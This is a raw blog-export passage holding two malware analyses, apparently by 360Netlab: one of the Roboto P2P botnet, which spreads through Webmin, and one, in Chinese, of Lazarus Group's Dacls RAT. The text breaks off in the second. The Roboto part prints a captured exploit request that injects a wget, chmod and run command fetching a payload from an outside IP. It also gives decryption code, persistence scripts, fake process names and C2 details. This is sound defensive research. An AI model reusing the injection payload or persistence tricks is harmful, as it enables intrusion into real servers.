270\n\nuser=daemon&pam=&new1=x&new2=x&old=x%7Cwget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26&expired=wget%20190.114.240.194%2Fboot%20-O%20%2Ftmp%2F93b5b5e8%3Bchmod%20777%20%2Ftmp%2F93b5b5e8%3B%2Ftmp%2F93b5b5e8%26% \n```\nWe can see that ```51.38.200.230``` itself also has the same Webmin service (TCP/10000) open, guess it was also infected.\n\n## Reverse analysis\n### Roboto Downloadersample analysis\n- MD5: 4b98096736e94693e2dc5a1361e1a720\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Library: musl-libc\n\nThe main function of Roboto Downloader is to download the corresponding encrypted Roboto Bot program from the specified URL according to the CPU architecture of the victim machine, and then decrypt and execute it.\n\nCurrently, Roboto Downloader supports both i386 and x86_64 architectures.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_arch.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_arch.png\" class=\"kg-image\"/></a>\n\nThe Roboto Downloader sample hard-coded URL stores the encrypted Roboto Bot program. Each group of URLs has a corresponding decryption key and SHA256 check value.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_res_2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_res_2.png\" class=\"kg-image\"/></a>\n\nTake image2.jpg as an example. Its SHA256 hash value is consistent with the hard-coded SHA256 hash value in the Roboto Downloader sample.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_res_sha256.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_res_sha256.png\" class=\"kg-image\"/></a>\n\nThe decryption algorithm is as follows, the Key length is 8 bytes, and each round will calculate a new XOR Key.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_xor.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_xor.png\" class=\"kg-image\"/></a>\n\nAfter decrypting, we got the Roboto Bot sample.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_dec.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_dec.png\" class=\"kg-image\"/></a>\n\nThe initial XOR Key is not known, but the characteristics of the XOR encryption algorithm can be used to get the bot file.\nAccording to the feature that the value of elf_header[0x8:0xf] is often 0, the Bot file can be decrypted by the following method.\n```c++\n\tfstream file(filename, ios::binary | ios::in);\n\tfile.read((char*)fstr.data(), fsize);\n\tfile.close();\n\tstring skey(fstr, 8, 8);\n\treverse(skey.begin(), skey.end());\n\tuint64_t *sskey = (uint64_t*)&skey[0];\n\tcout << hex << \"sskey= \" << *sskey << endl;\n\tfstr[0] = '\\x7F';\n\tfstr[1] = 'E';\n\tfstr[2] = 'L';\n\tfstr[3] = 'F';\n\tfstr[6] = '\\x01';\n\tfstr[7] = '\\x00';\n\tfsize -= 8;\n\tuint64_t cnt = fsize / 8;\n\tuint8_t rmd = fsize % 8;\n\tfor (uint64_t i = 0; i < cnt; i++) {\n\t\tfor (int j = 0; j < 8; j++)\n\t\t{\n\t\t\tfstr[8 + i * 8 + j] ^= *((uint8_t*)sskey + 7 - j);\n\t\t}\n\t\tuint64_t rnda = *sskey << 13 ^ *sskey;\n\t\tuint64_t rndb = rnda >> 7 ^ rnda;\n\t\tuint64_t rndc = rndb << 17 ^ rndb;\n\t\t*sskey = rndc;\n\t}\n\tfor (uint8_t i = 0; i < rmd; i++)\n\t{\n\t\tfstr[8 * cnt + 8 + i] ^= *((uint8_t*)sskey + rmd - i);\n\t}\n\tif (fstr[42] == '\\x20' && fstr[46] == '\\x28')\n\t{\n\t\tfstr[4] = '\\x01';\n\t\tfstr[5] = '\\x01';\n\t}\n\tif (fstr[43] == '\\x20' && fstr[47] == '\\x28')\n\t{\n\t\tfstr[4] = '\\x01';\n\t\tfstr[5] = '\\x02';\n\t}\n\tif (fstr[54] == '\\x38' && fstr[58] == '\\x40')\n\t{\n\t\tfstr[4] = '\\x02';\n\t\tfstr[5] = '\\x01';\n\t}\n\tif (fstr[55] == '\\x38' && fstr[59] == '\\x40')\n\t{\n\t\tfstr[4] = '\\x02';\n\t\tfstr[5] = '\\x02';\n\t}\n```\n\n\n### Roboto Bot sample analysis\n- MD5: d88c737b46f1dcb981b4bb06a3caf4d7\n> ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\n> Library: musl-libc\n\nAs aforementioned, Roboto Bot has server build in functions and disguise itself on the victim host.\n\n#### Disguise\n* Create self-starting script based on the release version of the Linux system ```/etc/init.d/dns-clear``` or ```systemd-hwdb-upgrade.service```\n ```\n #! /bin/sh\n\n ### BEGIN INIT INFO\n # Provides: dns-clear\n # Required-Start: $local_fs $remote_fs $network\n # Required-Stop: $local_fs\n # Default-Start: 1 2 3 4 5\n # Default-Stop:\n # Short-Description: Cleans up any mess left by 0dns-up\n ### END INIT INFO\n\n PATH=/sbin:/bin:/usr/sbin:/usr/bin\n\n case \"$1\" in\n start)\n /usr/lib/libXxf86dag.so.1.0.0 &\n ;;\n *)\n ;;\n esac\n\n exit 0\n ```\n\n* Fake Process names\n ```\n (sd-pam)\n /sbin/rpcbind\n /usr/bin/python\n upstart-socket-bridge\n /usr/sbin/irqbalance\n /lib/systemd/systemd-udevd\n /usr/libexec/postfix/master\n ```\n\n* File name for masquerading\n ```\n libXxf86dag.so\n .node_repl_history.gz\n ```\n \n#### Hard coded Peer information\nRoboto Bot hardcoded 4 sets of Peers, the structure is **IP: PORT: Curve25519_Pub Key**\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_c2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_c2.png\" class=\"kg-image\"/></a>\n\n```\nPeer 1:\n\t213.159.27.5:57491\nPubkey:\n\t8E A5 64 E2 A5 F7 73 6D 2E F2 86 D3 7B B7 86 E4 \n\t7F 0D A7 A0 77 B1 AD 24 49 5B DE D6 DB B7 E1 79\n\nPeer 2:\n\t186.46.45.252:52085\nPubkey:\n\t93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D \n\t41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B\n\nPeer 3:\n\t95.216.17.209:57935\nPubkey:\n\tE8 78 31 C6 55 9A 13 FC AB DB 75 9B A5 B1 D6 05 \n\tF2 3A 72 FF 04 B5 9F 7F 5A 8B 12 56 F2 CA 01 5E\n\nPeer 4:\n\t120.150.43.45:49252\nPubkey:\n\tE7 30 7D 3C BC 93 4A EC ED D8 FD 9F B9 FE 93 B7 \n\tF3 53 B3 11 5D F7 C8 CA 0C F8 77 D1 34 CA 37 20\n \n```\n\nThe third peer has the following modification in the sample ```4cd7bcd0960a69500aa80f32762d72bc```\n\n```\nPeer 3:\n\t66.113.179.13:33543\nPubkey:\n\tB3 E5 B3 D6 E6 DE 7C 7D 79 40 A5 4F D9 B0 AC 7B \n\t2D C6 CE 69 EF F3 C4 58 F2 98 A8 92 DF 92 9E 0E\n```\n\n\n#### Encryption verfication\nRoboto Bot uses algorithms such as Curve25519, TEA, and HMAC-SHA256 to implement data encryption and validity verification. This method is widely been used in the generation of cfg files and data packets.\n\nThe general process is as shown\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_flow.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_flow.png\" class=\"kg-image\"/></a>\n\n**Curve25519_PrivateKey** is generated by /dev/urandom.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_priv.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_priv.png\" class=\"kg-image\"/></a>\n\n\n\n#### cfg file\nRoboto Bot will store the generated cfg files in different file locations depending on the privilege it runs.\n```\n$home/.config/trolltech.conf //run as regular user\n/etc/iproute2/rt_ksfield //run as root\n```\n\nThe cfg file contains the private key, the encrypted data, and the HMAC-SHA256 value of the encrypted data, which are updated every hour. The encrypted data is composed of Peer and Port information, and its structure is *peer:length:data,pcfg:length:data*.<a href=\"__GHOST_URL__/content/images/2019/11/rob_cfg.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cfg.png\" class=\"kg-image\"/></a>\nCfg file decryption example\n```\nThe first 0x20 byte，Curve25519 private key\n 68 F4 83 18 2C F2 80 3D D1 B3 FF 68 FB 35 3D E8 \n E6 C8 DB 0B 8E FC 73 7C 01 B3 6F 3F 1C 89 38 63\nThe last 0x20 byte，hmac-sha256 hash (0x20-0x165)\n 1B 64 C4 FD 65 C0 95 9B 6F B1 D7 C1 75 31 DA 5A \n 01 EC E1 52 06 25 E9 7D A1 9B 57 E5 CA 67 2B D6\n \nEncryption verification\n1. Generate publicKey:\n 52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8 \n 3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24\n\n2. Using last 16 bytes, DWORD reverse，to be used as encryption key for TEA:\n 58 51 A4 3F 6F F5 53 EF 8E 01 99 28 24 4A 2C 62\n\n3. Using the above Key, to get XOR Key:\n First round: ED 16 FB 00 46 4F 94 99\n\n4. XOR decryption，repeat step 4 on every 8 byte，to update XOR Key:\n Ciphertext: 9D 73 9E 72 76 4E DE 99\n Plaintext: peer\\x30\\x01\\x4a\\x00\\x00\n```\n\nTherefore, we know that Peer has 0x130 bytes of information, and so on, the plaintext of the ciphertext (8E 3C 1F 93 B1 C9) is (pcfg\\x04\\x00).\n\n\n#### P2P control module\nRoboto Bot can be controlled by a Unix domain socket. The bound path is ```/tmp/.cs```\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_unixpro.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_unixpro.png\" class=\"kg-image\"/></a>\n\nThe following code starts the control process\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_csm.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_csm.png\" class=\"kg-image\"/></a>\n\nWe did not find the relevant code to set the environment variable \"CS\" in the Roboto Bot sample, so we speculated that it is in the Roboto P2P control module. It starts a process, sets the environment to \"CS\", and controls the Roboto Bot module through a Unix domain socket. then the P2P node becomes the control node in the Botonet P2P network.\n\nWe can get a good idea on the functions of the P2P control module through the Roboto Bot module, these function names are very intuitive.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_domsock.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_domsock.png\" class=\"kg-image\"/></a>\n\nWe tested some of the control commands by hijacking the Roboto Bot program. Here are some test results.\n\n```info``` The command will display hard-coded information and public key information, including the ```v17```, we suspect it is a program version number.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_info.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_info.png\" class=\"kg-image\"/></a>\n```peers``` The command displays the P2P node information currently connected by Roboto Bot.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_peerinfo.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_peerinfo.png\" class=\"kg-image\"/></a>\n\n#### Bot function\n* Reverse shell\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_shell.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_shell.png\" class=\"kg-image\"/></a>\n* Self uninstall\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_clear-2.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_clear-2.png\" class=\"kg-image\"/></a>\n* Execution system command\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_system.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_system.png\" class=\"kg-image\"/></a>\n* Get process network information (traverse process list, get process, network and crontab file information) and upload it to the specified HTTP interface\n```\n/proc/%s/exe\n/proc/%s/cmdline\n/proc/net/tcp\n/proc/net/udp\ncrontab\n```\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_cinfo1.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cinfo1.png\" class=\"kg-image\"/></a>\n* Get the Bot information and upload it to the specified HTTP interface.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_cinfo3.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_cinfo3.png\" class=\"kg-image\"/></a>\n* Run the encrypted file in the specified URL (similar to the Roboto Downloader function)\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_http.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_http.png\" class=\"kg-image\"/></a>\n\n* The DDoS attack\nDepending on the running privilege it gets, Bot provides four DDoS attack methods: ICMP Flood, HTTP Flood, TCP Flood, and UDP Flood.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_atk.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_atk.png\" class=\"kg-image\"/></a>\n\n\n#### P2P communication protocol\nBesides using the P2P communication protocol, Roboto Bot employs algorithms such as Curve25519, TEA, and HMAC-SHA256 to ensure data integrity and security. The encrypted Key is derived from the Curve25519_SharedKey generated by the public key in the Bot and C2 information. The format of the packet is index(4 bytes):type(1 byte):data:hmac-sha256[0:0xf], so packets larger than 21 bytes contain valid information.\n\n###### P2P node discovery data verification\nThe length of the request packet is a fixed 69 bytes, the data is not encrypted, and the content is the public key of the target Peer and the public key of the Bot. After receiving the Bot request packet, Peer establishes a connection with the Bot if it is consistent with its own public key, and then calculates the SharedKey through the public key. In the subsequent communication process, the message with valid information (length greater than 21 words) Section) will be encrypted.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_hello.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_hello.png\" class=\"kg-image\"/></a>\n\n###### P2P node discovery data decryption\nThe local Petoto Bot sample is communicated with the hard-coded Peer (186.46.45.252), and a new Peer node 87.249.15.18:63104 is taken as an example. \n<a href=\"__GHOST_URL__/content/images/2019/11/rob_hellosrv.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_hellosrv.png\" class=\"kg-image\"/></a>\nBot request, 69 bytes\n```\nindex: 00 00 00 00 \ntype: 2\ndata:\n\t 0-31: C2 Curve25519_PublicKey\n\t\t93 DA 64 B3 1F 49 1B A4 B5 2D 28 92 49 52 7C 3D \n\t\t41 D2 4F B2 8B FF 2C ED A2 E7 90 18 4F 9E C0 7B\n\t32-63: Bot Curve25519_PublicKey\n\t\t52 25 27 87 F2 B2 F7 35 32 1F ED A7 6A 29 03 A8 \n\t\t3F A4 51 58 EF 53 F5 6F 28 99 01 8E 62 2C 4A 24\n\n```\nPeer reply, 60 bytes,\n```\nindex: 00 00 00 00\ntype: 00\ndata:\n\tcmdtype:\n\t\t4f \n\tip:port\n\t\t44 be 1c 18 da 42 \n\tPublibcKey:\n\t\t7e 42 89 b6 36 5f 73 10 88 ea 60 36 b9 ca 89 25 \n\t\t3e 3e e3 2f 7e b6 d6 08 9e 96 89 25 68 a0 9f 7f\n\tHmac-sha256[0:0xf]\t\n\t\tb5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e\n\n```\n\nAnalog decryption verification process\n```\n1. Bot’s private key and Pee’s public key to generate shared key\nSharedKey:\n 28 EC 2D A8 63 F3 2D 39 8F 1C 03 96 32 AE F2 D8 \n B8 D1 9E 6C ED BD AC 2C BE D6 CF 60 83 C9 D6 1D\n2. Using first 16 byte of HMAC-SHA256 for verification\n\tHMAC-SHA256[0:0XF]=\n\tb5 1a d7 0d d4 63 83 0e de 06 34 ad 36 cc 83 4e\n\n3. Using last 16 bytes of the sharedkey, DWORD reverse，to be used as encryption key for TEA:\n\tA8 2D EC 28 39 2D F3 63 96 03 1C 8F D8 F2 AE 32\n4. Using the above Key, to get XOR Key:\n\tFirst round: 4E 13 47 13 0A 2C C2 6A\n\tSecond round: B0 68 BD EB 9B 29 10 23\n\tThird round: AD B4 3D 34 40 C0 3D FC\n\tFourth round: 31 1E 6B F0 EA D5 8E 65\n\tFivth round: D1 1C 42 58 2A 0C 7D A4\n5. XOR dencryption，repeat step 4 on every 8 byte，to update XOR Key and get plaintext\n cmdtype:\n 01\n ip:port:\n 57 F9 0F 12 :F6 80 (87.249.15.18:63104)\n PublicKey:\t\n 14 F2 E1 0B DD C4 5A 00 AB 47 D4 0B 8D 8A 49 18 \n C2 0F FD 44 8E 5C 03 86 FB 47 95 67 30 8A 93 02\n\t\n```\nFrom the following network packets, we can see ```87.249.15.18:63104``` is exactly what we calculated.\n<a href=\"__GHOST_URL__/content/images/2019/11/rob_secpeer.png\"><img src=\"__GHOST_URL__/content/images/2019/11/rob_secpeer.png\" class=\"kg-image\"/></a>\n\n###### Attack command verification\nIn a P2P network, nodes are untrustworthy, and anyone can forge a P2P node at a very low cost. In order to ensure that the Roboto network is completely controllable and not stolen by others, Roboto needs to perform signature verification for each attack command. Only the attack messages that can be signed and signed can be accepted and executed by the Roboto node.\nThe verification method adopted by Roboto is ED25519, which is a public digital signature algorithm. At the same time, the check public key is:```60FF4A4203433AA2333A008C1B305CD80846834B9BE4BBA274F873831F04DF1C```, the public key is integrated into each of the Roboto Bot samples.\n\n### Suggestions\nWe recommend that Webmin users take a look whether they are infected by checking the process, file name and UDP network connection as we coverd above. \n\nWe recommend that Roboto Botnet related IP, URL and domain names to be monitored and blocked. \n\n\n### Contact us\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n\n\n#### IoC list\nSample MD5\n```\n4b98096736e94693e2dc5a1361e1a720\n4cd7bcd0960a69500aa80f32762d72bc\nd88c737b46f1dcb981b4bb06a3caf4d7\n```\n\nEncrypted Roboto Bot MD5\n```\nimage.jpg de14c4345354720effd0710c099068e7\nimage2.jpg 69e1cccaa072aedc6a9fd9739e2cdf90\nroboto.ttc f47593cceec08751edbc0e9c56cad6ee\nroboto.ttf 3020c2a8351c35530ab698e298a5735c\n```\nURL\n```\nhttp://190.114.240.194/boot\nhttp://citilink.dev6.ru/css/roboto.ttc\nhttp://citilink.dev6.ru/css/roboto.ttf\nhttp://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image.jpg\nhttp://144.76.139.83:80/community/uploadxx/1461C493-38BF-4E72-B118-BE35839A8914/image2.jpg\n```\nHard-coded Peer IP \n```\n95.216.17.209 \tFinland \tASN 24940 \tHetzner Online GmbH \n213.159.27.5 \tItaly \tASN 201474 \tAircom Service srl \n186.46.45.252 \tEcuador \tASN 28006 \tCORPORACION NACIONAL DE TELECOMUNICACIONES - CNT EP\n120.150.43.45 \tAustralia \tASN 1221 \tTelstra Corporation Ltd\n66.113.179.13 \tUnited States \tASN 14280 \tNetNation Communications Inc\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5dd49dcf7646030007b25c0e |
post | null | 2019-12-16T10:19:04.000Z | 63873b9a8b1c1e0007f52f5c | dacls-the-dual-platform-rat | 0 | 2022-02-09T07:10:24.000Z | public | published | null | 2019-12-17T04:32:09.000Z | Lazarus Group使用Dacls RAT攻击Linux平台 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2019年10月25号，360Netlab未知威胁检测系统发现一个可疑的ELF文件(80c0efb9e129f7f9b05a783df6959812)。一开始，我们以为这是在我们发现的Unknown Botnet中比较平凡的一个，并且在那时候VirusTotal上有2款杀毒引擎能够识别。当我们关联分析它的相关样本特征和IoC时，我们发现这个案例跟Lazarus Group有关，并决定深入分析它。</p>
<p>目前，业界也从未公开过关于Lazarus Group针对Linux平台的攻击样本和案例。通过详细的分析，我们确定这是一款功能完善，行为隐蔽并适用于Windows和Linux平台的RAT程序，并且其幕后攻击者疑似Lazarus Group。</p>
<p>事实上，这款远程控制软件相关样本早在2019年5月份就已经出现，目前在VirusTotal上显示被26款杀毒软件厂商识别为泛型的恶意软件，但它还是不为人所知，我们也没有找到相关分析报告。所以，我们会详细披露它的一些技术特征，并根据它的文件名和硬编码字符串特征将它命名为Dacls。</p>
<h2 id="dacls">Dacls 概览</h2>
<p>Dacls是一款新型的远程控制软件，包括Windows和Linux版本并共用C2协议，我们将它们分别命名为Win32.Dacls和Linux.Dacls。它的功能模块化，C2协议使用TLS和RC4双层加密，配置文件使用AES加密并支持C2指令动态更新。其中Win32.Dacls的插件模块是通过远程URL动态加载，而Linux版本的插件是直接编译在Bot程序里。我们已经确认在Linux.Dacls中包含6个插件模块：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描。</p>
<h3 id="lazarusgroup">如何关联上 Lazarus Group</h3>
<p>⾸先，我们通过样本<code>80c0efb9e129f7f9b05a783df6959812</code>中的硬编码字符串特征 <code>c_2910.cls</code>和<code>k_3872.cls</code>，在VirusTotal上找到了5个样本，我们从这些样本代码和相同的C2指令码上可以确认它们是同⼀套RAT程序，并且分别适⽤于Windows和Linux平台。</p>
<p>其中⼀个Win32.Dacls样本<code>6de65fc57a4428ad7e262e980a7f6cc7</code>，它的下载地址为<code>https://thevagabondsatchel.com/wp-content/uploads/2019/03/wm64.avi</code>，在VirusTotal社区⽤户@raeezabdulla留⾔中将它标记为Lazarus Group，并引⽤了⼀篇报告《CES Themed Targeting from Lazarus》。然后，我们通过这个下载地址我们关联到另⼀个NukeSped样本<code>b578ccf307d55d3267f98349e20ecff1</code>，它的下载地址为<code>http://thevagabondsatchel.com/wp-content/uploads/2019/09/public.avi</code>。在2019年10⽉份，这个NukeSped样本<code>b578ccf307d55d3267f98349e20ecff1</code>曾被推特⽤户@cyberwar_15标记为Lazarus Group。</p>
<p>另外，我们也在Google上搜到到很多Lazarus Group的分析报告和⼀些开源威胁情报数据，并指出<code>thevagabondsatchel.com</code>曾被Lazarus Group⽤于存放样本。</p>
<p>所以，我们推测Dacls RAT的幕后攻击者是Lazarus Group。</p>
<p><a href="__GHOST_URL__/content/images/2019/12/dacls_graph.png"><img src="__GHOST_URL__/content/images/2019/12/dacls_graph.png" class="kg-image"/></a></p>
<h3 id="downloader">Downloader服务器</h3>
<p>我们在疑似被感染的下载服务器<code>http://www.areac-agr.com/cms/wp-content/uploads/2015/12/</code>上找到了一系列样本，其中包括Win32.Dacls和Linux.Dacls，开源程序Socat，以及Confluence CVE-2019-3396 Payload。所以，我们推测Lazarus Group曾经利用CVE-2019-3396 N-day漏洞传播Dacls Bot程序。</p>
<pre><code class="language-c">MD5 (check.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (hdata.dat) = 982bf527b9fe16205fea606d1beed7fa //Log Collector
MD5 (ldata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (mdata.dat) = 80c0efb9e129f7f9b05a783df6959812 //Linux Dacls Bot
MD5 (r.vm) = a99b7ef095f44cf35453465c64f0c70c //Confluence CVE-2019-3396 Payload
MD5 (rdata.dat) = bea49839390e4f1eb3cb38d0fcaf897e //Windows Dacls Bot
MD5 (sdata.dat) = e883bf5fd22eb6237eb84d80bbcf2ac9 //Open-Source Socat
</code></pre>
<h2 id="">逆向分析</h2>
<h3 id="logcollector">Log Collector样本分析</h3>
<ul>
<li>MD5: 982bf527b9fe16205fea606d1beed7fa</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header</p>
</blockquote>
<p>这个样本的功能很简单，它通过运行参数指定日志搜集接口然后收集目标主机信息。它会避开扫描一些指定的根目录和二级目录，并把检索到的文件路径写入 /tmp/hdv.log。</p>
<pre><code class="language-c">Avoid Scanning Root Directory
/bin
/boot
/dev
/etc
/lib
/lib32
/lib64
/lost+found
/sbin
/sys
/tmp
/proc
/run
Avoid Scanning Secondary Directory
/usr/bin
/usr/etc
/usr/games
/usr/include
/usr/lib
/usr/lib32
/usr/lib64
/usr/libexec
/usr/sbin
/usr/share
/usr/src
/usr/tmp
/var/adm
/var/cache
/var/crash
/var/db
/var/empty
/var/games
/var/gopher
/var/kerberos
/var/lock
/var/nis
/var/preserve
/var/run
/var/yp
</code></pre>
<p>日志记录格式示例</p>
<pre><code class="language-c">deep name type size last date
0 / D 0 000000000000
1 bin D 0 201911290628
2 bash F 1037528 201907121226
2 bunzip2 F 31352 201907040536
2 busybox F 1984584 201903070712
2 bzcat F 31352 201907040536
2 bzcmp F 2140 201907040536
....
</code></pre>
<p>最后通过执行系统tar命令把日志文件压缩<code>tar -cvzf /tmp/hdv.rm /tmp/hdv.log</code> 并上传到指定日志搜集接口。</p>
<h3 id="linuxdacls">Linux.Dacls样本分析</h3>
<ul>
<li>MD5: 80c0efb9e129f7f9b05a783df6959812</li>
</ul>
<blockquote>
<p>ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=e14724498374cb9b80a77b7bfeb1d1bd342ee139, stripped</p>
</blockquote>
<p>Linux.Dacls Bot主要功能包括：执行命令，文件管理，进程管理，测试网络访问，C2连接代理，网络扫描模块。</p>
<h4 id="">初始化行为</h4>
<p>Linux.Dacls Bot启动后以daemon方式后台运行，并通过启动参数<code>/pro</code>，Bot PID文件<code>/var/run/init.pid</code>和Bot进程名<code>/proc/<pid>/cmdline</code>，来区分不同运行环境，我们猜测可能是用于Bot程序升级。<br>
<a href="__GHOST_URL__/content/images/2019/12/init_stage.png"><img src="__GHOST_URL__/content/images/2019/12/init_stage.png" class="kg-image"/></a></p>
<h4 id="memcahce">配置文件 .memcahce</h4>
<p>Linux.Dacls Bot配置文件固定存放在<code>$HOME/.memcache</code>，文件内容固定为0x8E20+4个字节。如果Bot启动后找不到配置文件，就会根据样本中硬编码的信息，使用AES加密生成默认的配置文件，当Bot和C2 通信后还会继续更新配置文件。</p>
<h6 id="">数据结构</h6>
<p>我们把配置文件的数据结构信息定义为struct_global_cfg，这里存放了Bot运行参数，C2信息，和插件信息等。</p>
<pre><code class="language-c">struct struct_plugin_cfg_data
{
int plugin_id;
int plugin_type;
int unk3;
char name[1040];
};
struct struct_c2_content
{
char content[2048];
};
struct struct_global_cfg
{
int session_id;
int unk_const1;
int sus_version_20190417;
int connect_retry_sleep_time;
char unk_array1[88];
int c2_num;
struct_c2_content c2_list[3];
char unknown_filed_186C[14340];
struct_plugin_cfg_data plug_cfg_data_list[15];
};
</code></pre>
<h6 id="aes">AES 加密算法</h6>
<ul>
<li>AES，CBC Mode</li>
<li>Key：A0 D2 89 29 27 78 75 F6 AA 78 C7 98 39 A0 05 ED</li>
<li>IV：39 18 82 62 33 EA 18 BB 18 30 78 97 A9 E1 8A 92</li>
</ul>
<h6 id="">解密配置文件</h6>
<p>我们把配置文件解密后，可以看到配置文件中一些明文信息，例如：会话ID，版本信息，重新连接C2时间，C2信息等，当成功连接C2后配置文件会根据C2指令更新，比如在配置文件中增加Bot支持的插件信息，更新C2信息等。<br>
<a href="__GHOST_URL__/content/images/2019/12/memcache_decrypt.png"><img src="__GHOST_URL__/content/images/2019/12/memcache_decrypt.png" class="kg-image"/></a></p>
<h4 id="c2">C2 协议</h4>
<p>Linux.Dacls Bot和C2通信主要分为3个阶段，并采用了TLS和RC4双层加密算法，保障数据通信安全。第1阶段是建立TLS连接，第2阶段是双方协议认证过程（Malware Beaconing），第3阶段是Bot发送RC4加密后的数据。</p>
<h6 id="ssl">SSL 连接</h6>
<p><a href="__GHOST_URL__/content/images/2019/12/tls_connection.png"><img src="__GHOST_URL__/content/images/2019/12/tls_connection.png" class="kg-image"/></a></p>
<h6 id="">协议认证</h6>
<p>建立SSL连接会发送若干次Beacon消息和C2互相确认身份。</p>
<table>
<thead>
<tr>
<th>Cmd</th>
<th>Direction</th>
<th>Encrypted</th>
<th style="text-align:center">Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x20000</td>
<td>send</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
<tr>
<td>0x20100</td>
<td>recv</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
<tr>
<td>0x20200</td>
<td>send</td>
<td>no</td>
<td style="text-align:center">Beacon</td>
</tr>
</tbody>
</table>
<h6 id="rc4">RC4 加密和解密流程</h6>
<ul>
<li>
<p>RC4 Key生成算法，完全由随机函数生成，Key长度范围：大于0且小于50<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_key.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_key.png" class="kg-image"/></a></p>
</li>
<li>
<p>置换表生成算法，根据RC4 Key生成RC4加密用的置换表<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_swap.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_swap.png" class="kg-image"/></a></p>
</li>
<li>
<p>加/解密算法，根据置换表生成算法完成加/解密，因为RC4是个对称加密算法，所以加/解密算法是一致的<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_decrypt.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_decrypt.png" class="kg-image"/></a></p>
</li>
<li>
<p>RC4解密示例</p>
<p>在完成协议认证之后，Bot向C2发送RC4 Key长度（头4个字节）和 RC4 Key数据。<br>
<a href="__GHOST_URL__/content/images/2019/12/rc4_connection.png"><img src="__GHOST_URL__/content/images/2019/12/rc4_connection.png" class="kg-image"/></a></p>
</li>
</ul>
<p>C2收到加密Key，向Bot发送密文，解密后为0x00000700指令，之后Bot就会上传主机名相关信息给C2。</p>
<pre><code class="language-c">Key:
a3 2f c2 10 f3 92 79 c3 0e f6 e4 e5 2e 69 29 86
0d 3a 92 f5 b7 23 fc 91 d9 46 91 55 a3 86 5a 47
36 1d 58 2a af d1 6d 3d 49 52 23 77 bc 4d fd 49
87
密文:
fe 3c 2c d7 bf 08 e3 91 d7 00 1f d0
明文:
00 07 00 00 00 00 00 00 00 00 00 00
</code></pre>
<h6 id="c2">C2指令码表</h6>
<p>Linux.Dacls Bot接受的指令实际共12个字节，但实际有效大小为4个字节，并分成控制两种模式。</p>
<p>第一种模式：当第3个字节为0，控制Bot主逻辑。</p>
